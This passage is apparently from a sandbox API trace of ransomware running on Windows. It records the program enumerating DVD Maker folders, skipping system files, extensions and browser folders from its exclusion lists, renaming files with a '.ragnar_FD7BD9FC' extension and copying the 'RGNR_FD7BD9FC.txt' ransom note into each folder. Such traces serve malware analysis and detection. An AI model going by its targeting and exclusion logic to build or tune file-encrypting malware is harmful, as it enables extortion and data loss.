Maker\\Shared\\DvdStyles\\ResizingPanels\\Panel_Mask.wmv" [0079.236] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\ResizingPanels\\Panel_Mask.wmv", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\ResizingPanels\\Panel_Mask.wmv.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\ResizingPanels\\Panel_Mask.wmv.ragnar_FD7BD9FC" [0079.236] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\ResizingPanels\\Panel_Mask.wmv" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\resizingpanels\\panel_mask.wmv"), lpNewFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\ResizingPanels\\Panel_Mask.wmv.ragnar_FD7BD9FC" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\resizingpanels\\panel_mask.wmv.ragnar_fd7bd9fc"), dwFlags=0x3) returned 0 [0079.236] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x709b333f, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x709b333f, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4f0d440f, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x84702, dwReserved0=0x0, dwReserved1=0x0, cFileName="Panel_Mask_PAL.wmv", cAlternateFileName="")) returned 1 [0079.236] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\ResizingPanels\\*.*", nBufferLength=0x104, lpBuffer=0x1eaae8, lpFilePart=0x1eaf94 | out: lpBuffer="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\ResizingPanels\\*.*", lpFilePart=0x1eaf94*="*.*") returned 0x42 [0079.236] lstrcpyW (in: lpString1=0x1eab66, lpString2="Panel_Mask_PAL.wmv" | out: lpString1="Panel_Mask_PAL.wmv") returned="Panel_Mask_PAL.wmv" [0079.236] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\ResizingPanels\\Panel_Mask_PAL.wmv") returned=".wmv" [0079.236] lstrcmpiW (lpString1="Panel_Mask_PAL.wmv", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0079.236] lstrcmpiW (lpString1="Panel_Mask_PAL.wmv", lpString2="autorun.inf") returned 1 [0079.236] lstrcmpiW (lpString1="Panel_Mask_PAL.wmv", lpString2="boot.ini") returned 1 [0079.236] lstrcmpiW (lpString1="Panel_Mask_PAL.wmv", lpString2="bootfont.bin") returned 1 [0079.236] lstrcmpiW (lpString1="Panel_Mask_PAL.wmv", lpString2="bootsect.bak") returned 1 [0079.236] lstrcmpiW (lpString1="Panel_Mask_PAL.wmv", lpString2="bootmgr") returned 1 [0079.236] lstrcmpiW (lpString1="Panel_Mask_PAL.wmv", lpString2="bootmgr.efi") returned 1 [0079.237] lstrcmpiW (lpString1="Panel_Mask_PAL.wmv", lpString2="bootmgfw.efi") returned 1 [0079.237] lstrcmpiW (lpString1="Panel_Mask_PAL.wmv", lpString2="desktop.ini") returned 1 [0079.237] lstrcmpiW (lpString1="Panel_Mask_PAL.wmv", lpString2="iconcache.db") returned 1 [0079.237] lstrcmpiW (lpString1="Panel_Mask_PAL.wmv", lpString2="ntldr") returned 1 [0079.237] lstrcmpiW (lpString1="Panel_Mask_PAL.wmv", lpString2="ntuser.dat") returned 1 [0079.237] lstrcmpiW (lpString1="Panel_Mask_PAL.wmv", lpString2="ntuser.dat.log") returned 1 [0079.237] lstrcmpiW (lpString1="Panel_Mask_PAL.wmv", lpString2="ntuser.ini") returned 1 [0079.237] lstrcmpiW (lpString1="Panel_Mask_PAL.wmv", lpString2="thumbs.db") returned -1 [0079.237] lstrcmpiW (lpString1=".wmv", lpString2=".db") returned 1 [0079.237] lstrcmpiW (lpString1=".wmv", lpString2=".sys") returned 1 [0079.237] lstrcmpiW (lpString1=".wmv", lpString2=".dll") returned 1 [0079.237] lstrcmpiW (lpString1=".wmv", lpString2=".lnk") returned 1 [0079.237] lstrcmpiW (lpString1=".wmv", lpString2=".msi") returned 1 [0079.237] lstrcmpiW (lpString1=".wmv", lpString2=".drv") returned 1 [0079.237] lstrcmpiW (lpString1=".wmv", lpString2=".exe") returned 1 [0079.237] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\ResizingPanels\\Panel_Mask_PAL.wmv" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\resizingpanels\\panel_mask_pal.wmv")) returned 0x20 [0079.237] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\ResizingPanels\\Panel_Mask_PAL.wmv" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\resizingpanels\\panel_mask_pal.wmv"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0xffffffff [0079.237] CloseHandle (hObject=0xffffffff) returned 0 [0079.237] lstrcpyW (in: lpString1=0x1ea008, lpString2="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\ResizingPanels\\Panel_Mask_PAL.wmv" | out: lpString1="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\ResizingPanels\\Panel_Mask_PAL.wmv") returned="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\ResizingPanels\\Panel_Mask_PAL.wmv" [0079.237] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\ResizingPanels\\Panel_Mask_PAL.wmv", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\ResizingPanels\\Panel_Mask_PAL.wmv.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\ResizingPanels\\Panel_Mask_PAL.wmv.ragnar_FD7BD9FC" [0079.237] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\ResizingPanels\\Panel_Mask_PAL.wmv" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\resizingpanels\\panel_mask_pal.wmv"), lpNewFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\ResizingPanels\\Panel_Mask_PAL.wmv.ragnar_FD7BD9FC" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\resizingpanels\\panel_mask_pal.wmv.ragnar_fd7bd9fc"), dwFlags=0x3) returned 0 [0079.237] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8175a480, ftCreationTime.dwHighDateTime=0x1d5e0db, ftLastAccessTime.dwLowDateTime=0x8175a480, ftLastAccessTime.dwHighDateTime=0x1d5e0db, ftLastWriteTime.dwLowDateTime=0x6e638060, ftLastWriteTime.dwHighDateTime=0x1d5e0db, nFileSizeHigh=0x0, nFileSizeLow=0xf59, dwReserved0=0x0, dwReserved1=0x0, cFileName="RGNR_FD7BD9FC.txt", cAlternateFileName="RGNR_F~1.TXT")) returned 1 [0079.237] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\ResizingPanels\\*.*", nBufferLength=0x104, lpBuffer=0x1eaae8, lpFilePart=0x1eaf94 | out: lpBuffer="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\ResizingPanels\\*.*", lpFilePart=0x1eaf94*="*.*") returned 0x42 [0079.238] lstrcpyW (in: lpString1=0x1eab66, lpString2="RGNR_FD7BD9FC.txt" | out: lpString1="RGNR_FD7BD9FC.txt") returned="RGNR_FD7BD9FC.txt" [0079.238] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\ResizingPanels\\RGNR_FD7BD9FC.txt") returned=".txt" [0079.238] lstrcmpiW (lpString1="RGNR_FD7BD9FC.txt", lpString2="RGNR_FD7BD9FC.txt") returned 0 [0079.238] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8175a480, ftCreationTime.dwHighDateTime=0x1d5e0db, ftLastAccessTime.dwLowDateTime=0x8175a480, ftLastAccessTime.dwHighDateTime=0x1d5e0db, ftLastWriteTime.dwLowDateTime=0x6e638060, ftLastWriteTime.dwHighDateTime=0x1d5e0db, nFileSizeHigh=0x0, nFileSizeLow=0xf59, dwReserved0=0x0, dwReserved1=0x0, cFileName="RGNR_FD7BD9FC.txt", cAlternateFileName="RGNR_F~1.TXT")) returned 0 [0079.238] FindClose (in: hFindFile=0x5a1368 | out: hFindFile=0x5a1368) returned 1 [0079.238] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x81271720, ftCreationTime.dwHighDateTime=0x1d5e0db, ftLastAccessTime.dwLowDateTime=0x81271720, ftLastAccessTime.dwHighDateTime=0x1d5e0db, ftLastWriteTime.dwLowDateTime=0x6e638060, ftLastWriteTime.dwHighDateTime=0x1d5e0db, nFileSizeHigh=0x0, nFileSizeLow=0xf59, dwReserved0=0x0, dwReserved1=0x0, cFileName="RGNR_FD7BD9FC.txt", cAlternateFileName="RGNR_F~1.TXT")) returned 1 [0079.238] lstrcmpiW (lpString1="RGNR_FD7BD9FC.txt", lpString2=".") returned 1 [0079.238] lstrcmpiW (lpString1="RGNR_FD7BD9FC.txt", lpString2="..") returned 1 [0079.238] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6e91e8b0, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6e91e8b0, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4f204eff, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x13d0, dwReserved0=0x0, dwReserved1=0x0, cFileName="scene_button_style_default_Thumbnail.bmp", cAlternateFileName="")) returned 1 [0079.238] lstrcmpiW (lpString1="scene_button_style_default_Thumbnail.bmp", lpString2=".") returned 1 [0079.238] lstrcmpiW (lpString1="scene_button_style_default_Thumbnail.bmp", lpString2="..") returned 1 [0079.238] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6e8d25f6, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6e8d25f6, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4f204eff, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xd86, dwReserved0=0x0, dwReserved1=0x0, cFileName="shadowonlyframe_buttongraphic.png", cAlternateFileName="")) returned 1 [0079.238] lstrcmpiW (lpString1="shadowonlyframe_buttongraphic.png", lpString2=".") returned 1 [0079.238] lstrcmpiW (lpString1="shadowonlyframe_buttongraphic.png", lpString2="..") returned 1 [0079.238] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6e8f8753, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6e8f8753, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4f204eff, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xd3e, dwReserved0=0x0, dwReserved1=0x0, cFileName="shadowonlyframe_selectionsubpicture.png", cAlternateFileName="")) returned 1 [0079.238] lstrcmpiW (lpString1="shadowonlyframe_selectionsubpicture.png", lpString2=".") returned 1 [0079.238] lstrcmpiW (lpString1="shadowonlyframe_selectionsubpicture.png", lpString2="..") returned 1 [0079.238] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6e8ac499, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6e8ac499, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4f204eff, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xc8e, dwReserved0=0x0, dwReserved1=0x0, cFileName="shadowonlyframe_videoinset.png", cAlternateFileName="")) returned 1 [0079.238] lstrcmpiW (lpString1="shadowonlyframe_videoinset.png", lpString2=".") returned 1 [0079.238] lstrcmpiW (lpString1="shadowonlyframe_videoinset.png", lpString2="..") returned 1 [0079.238] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x9f4d7984, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0xaa9057bb, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0x9f4fdbf3, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Shatter", cAlternateFileName="")) returned 1 [0079.238] lstrcmpiW (lpString1="Shatter", lpString2=".") returned 1 [0079.238] lstrcmpiW (lpString1="Shatter", lpString2="..") returned 1 [0079.238] lstrcmpiW (lpString1="Shatter", lpString2="Windows") returned -1 [0079.238] lstrcmpiW (lpString1="Shatter", lpString2="Windows.old") returned -1 [0079.238] lstrcmpiW (lpString1="Shatter", lpString2="Tor browser") returned -1 [0079.238] lstrcmpiW (lpString1="Shatter", lpString2="Internet Explorer") returned 1 [0079.238] lstrcmpiW (lpString1="Shatter", lpString2="Google") returned 1 [0079.238] lstrcmpiW (lpString1="Shatter", lpString2="Opera") returned 1 [0079.238] lstrcmpiW (lpString1="Shatter", lpString2="Opera Software") returned 1 [0079.238] lstrcmpiW (lpString1="Shatter", lpString2="Mozilla") returned 1 [0079.239] lstrcmpiW (lpString1="Shatter", lpString2="Mozilla Firefox") returned 1 [0079.239] lstrcmpiW (lpString1="Shatter", lpString2="$Recycle.Bin") returned 1 [0079.239] lstrcmpiW (lpString1="Shatter", lpString2="ProgramData") returned 1 [0079.239] lstrcmpiW (lpString1="Shatter", lpString2="All Users") returned 1 [0079.239] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\*.*", nBufferLength=0x104, lpBuffer=0x1eb5c0, lpFilePart=0x1eba6c | out: lpBuffer="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\*.*", lpFilePart=0x1eba6c*="*.*") returned 0x33 [0079.239] lstrcpyW (in: lpString1=0x1eb620, lpString2="Shatter" | out: lpString1="Shatter") returned="Shatter" [0079.239] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Shatter", lpString2="\\" | out: lpString1="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Shatter\\") returned="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Shatter\\" [0079.239] lstrcpyW (in: lpString1=0x1eb3b4, lpString2="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Shatter\\" | out: lpString1="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Shatter\\") returned="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Shatter\\" [0079.239] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Shatter\\", lpString2="RGNR_FD7BD9FC.txt" | out: lpString1="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Shatter\\RGNR_FD7BD9FC.txt") returned="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Shatter\\RGNR_FD7BD9FC.txt" [0079.239] CopyFileW (lpExistingFileName="C:\\Users\\Public\\Documents\\RGNR_FD7BD9FC.txt" (normalized: "c:\\users\\public\\documents\\rgnr_fd7bd9fc.txt"), lpNewFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Shatter\\RGNR_FD7BD9FC.txt" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\shatter\\rgnr_fd7bd9fc.txt"), bFailIfExists=1) returned 1 [0079.242] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Shatter\\", lpString2="*.*" | out: lpString1="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Shatter\\*.*") returned="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Shatter\\*.*" [0079.242] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Shatter\\*.*", nBufferLength=0x104, lpBuffer=0x1ea6d4, lpFilePart=0x1eaf94 | out: lpBuffer="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Shatter\\*.*", lpFilePart=0x1eaf94*="*.*") returned 0x3b [0079.242] lstrcpyW (in: lpString1=0x1ea4cc, lpString2="*.*" | out: lpString1="*.*") returned="*.*" [0079.243] lstrcpyW (in: lpString1=0x1ea744, lpString2="*.*" | out: lpString1="*.*") returned="*.*" [0079.243] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Shatter\\*.*", lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x9f4d7984, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0x817a6740, ftLastAccessTime.dwHighDateTime=0x1d5e0db, ftLastWriteTime.dwLowDateTime=0x817a6740, ftLastWriteTime.dwHighDateTime=0x1d5e0db, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5a1368 [0079.243] lstrcmpiW (lpString1=".", lpString2=".") returned 0 [0079.243] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x9f4d7984, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0x817a6740, ftLastAccessTime.dwHighDateTime=0x1d5e0db, ftLastWriteTime.dwLowDateTime=0x817a6740, ftLastWriteTime.dwHighDateTime=0x1d5e0db, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0079.243] lstrcmpiW (lpString1="..", lpString2=".") returned 1 [0079.243] lstrcmpiW (lpString1="..", lpString2="..") returned 0 [0079.243] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6ff23274, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6ff23274, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4f204eff, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x11da, dwReserved0=0x0, dwReserved1=0x0, cFileName="1047x576black.png", cAlternateFileName="")) returned 1 [0079.243] lstrcmpiW (lpString1="1047x576black.png", lpString2=".") returned 1 [0079.243] lstrcmpiW (lpString1="1047x576black.png", lpString2="..") returned 1 [0079.243] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6ff493d1, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6ff493d1, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4f29d477, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xb04, dwReserved0=0x0, dwReserved1=0x0, cFileName="203x8subpicture.png", cAlternateFileName="")) returned 1 [0079.243] lstrcmpiW (lpString1="203x8subpicture.png", lpString2=".") returned 1 [0079.243] lstrcmpiW (lpString1="203x8subpicture.png", lpString2="..") returned 1 [0079.243] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x70007aa2, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x70007aa2, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4f92909f, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x13e0, dwReserved0=0x0, dwReserved1=0x0, cFileName="NavigationLeft_ButtonGraphic.png", cAlternateFileName="")) returned 1 [0079.243] lstrcmpiW (lpString1="NavigationLeft_ButtonGraphic.png", lpString2=".") returned 1 [0079.243] lstrcmpiW (lpString1="NavigationLeft_ButtonGraphic.png", lpString2="..") returned 1 [0079.243] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6ffe1945, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6ffe1945, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4fa59b8f, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xc3a, dwReserved0=0x0, dwReserved1=0x0, cFileName="NavigationLeft_SelectionSubpicture.png", cAlternateFileName="")) returned 1 [0079.243] lstrcmpiW (lpString1="NavigationLeft_SelectionSubpicture.png", lpString2=".") returned 1 [0079.243] lstrcmpiW (lpString1="NavigationLeft_SelectionSubpicture.png", lpString2="..") returned 1 [0079.243] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x70007aa2, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x70007aa2, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4fa59b8f, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x13a1, dwReserved0=0x0, dwReserved1=0x0, cFileName="NavigationRight_ButtonGraphic.png", cAlternateFileName="")) returned 1 [0079.243] lstrcmpiW (lpString1="NavigationRight_ButtonGraphic.png", lpString2=".") returned 1 [0079.243] lstrcmpiW (lpString1="NavigationRight_ButtonGraphic.png", lpString2="..") returned 1 [0079.243] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6ff9568b, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6ff9568b, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4faf2107, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xc2e, dwReserved0=0x0, dwReserved1=0x0, cFileName="NavigationRight_SelectionSubpicture.png", cAlternateFileName="")) returned 1 [0079.243] lstrcmpiW (lpString1="NavigationRight_SelectionSubpicture.png", lpString2=".") returned 1 [0079.243] lstrcmpiW (lpString1="NavigationRight_SelectionSubpicture.png", lpString2="..") returned 1 [0079.243] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6ff6f52e, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6ff6f52e, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4faf2107, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x135b, dwReserved0=0x0, dwReserved1=0x0, cFileName="NavigationUp_ButtonGraphic.png", cAlternateFileName="")) returned 1 [0079.243] lstrcmpiW (lpString1="NavigationUp_ButtonGraphic.png", lpString2=".") returned 1 [0079.243] lstrcmpiW (lpString1="NavigationUp_ButtonGraphic.png", lpString2="..") returned 1 [0079.243] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6ffbb7e8, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6ffbb7e8, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4faf2107, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xc09, dwReserved0=0x0, dwReserved1=0x0, cFileName="NavigationUp_SelectionSubpicture.png", cAlternateFileName="")) returned 1 [0079.243] lstrcmpiW (lpString1="NavigationUp_SelectionSubpicture.png", lpString2=".") returned 1 [0079.244] lstrcmpiW (lpString1="NavigationUp_SelectionSubpicture.png", lpString2="..") returned 1 [0079.244] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x817a6740, ftCreationTime.dwHighDateTime=0x1d5e0db, ftLastAccessTime.dwLowDateTime=0x817a6740, ftLastAccessTime.dwHighDateTime=0x1d5e0db, ftLastWriteTime.dwLowDateTime=0x6e638060, ftLastWriteTime.dwHighDateTime=0x1d5e0db, nFileSizeHigh=0x0, nFileSizeLow=0xf59, dwReserved0=0x0, dwReserved1=0x0, cFileName="RGNR_FD7BD9FC.txt", cAlternateFileName="RGNR_F~1.TXT")) returned 1 [0079.244] lstrcmpiW (lpString1="RGNR_FD7BD9FC.txt", lpString2=".") returned 1 [0079.244] lstrcmpiW (lpString1="RGNR_FD7BD9FC.txt", lpString2="..") returned 1 [0079.244] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6ff23274, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6ff23274, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4faf2107, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x547b, dwReserved0=0x0, dwReserved1=0x0, cFileName="shatter.png", cAlternateFileName="")) returned 1 [0079.244] lstrcmpiW (lpString1="shatter.png", lpString2=".") returned 1 [0079.244] lstrcmpiW (lpString1="shatter.png", lpString2="..") returned 1 [0079.244] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6ff23274, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6ff23274, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4faf2107, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x547b, dwReserved0=0x0, dwReserved1=0x0, cFileName="shatter.png", cAlternateFileName="")) returned 0 [0079.244] FindClose (in: hFindFile=0x5a1368 | out: hFindFile=0x5a1368) returned 1 [0079.244] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Shatter\\*.*", lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x9f4d7984, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0x817a6740, 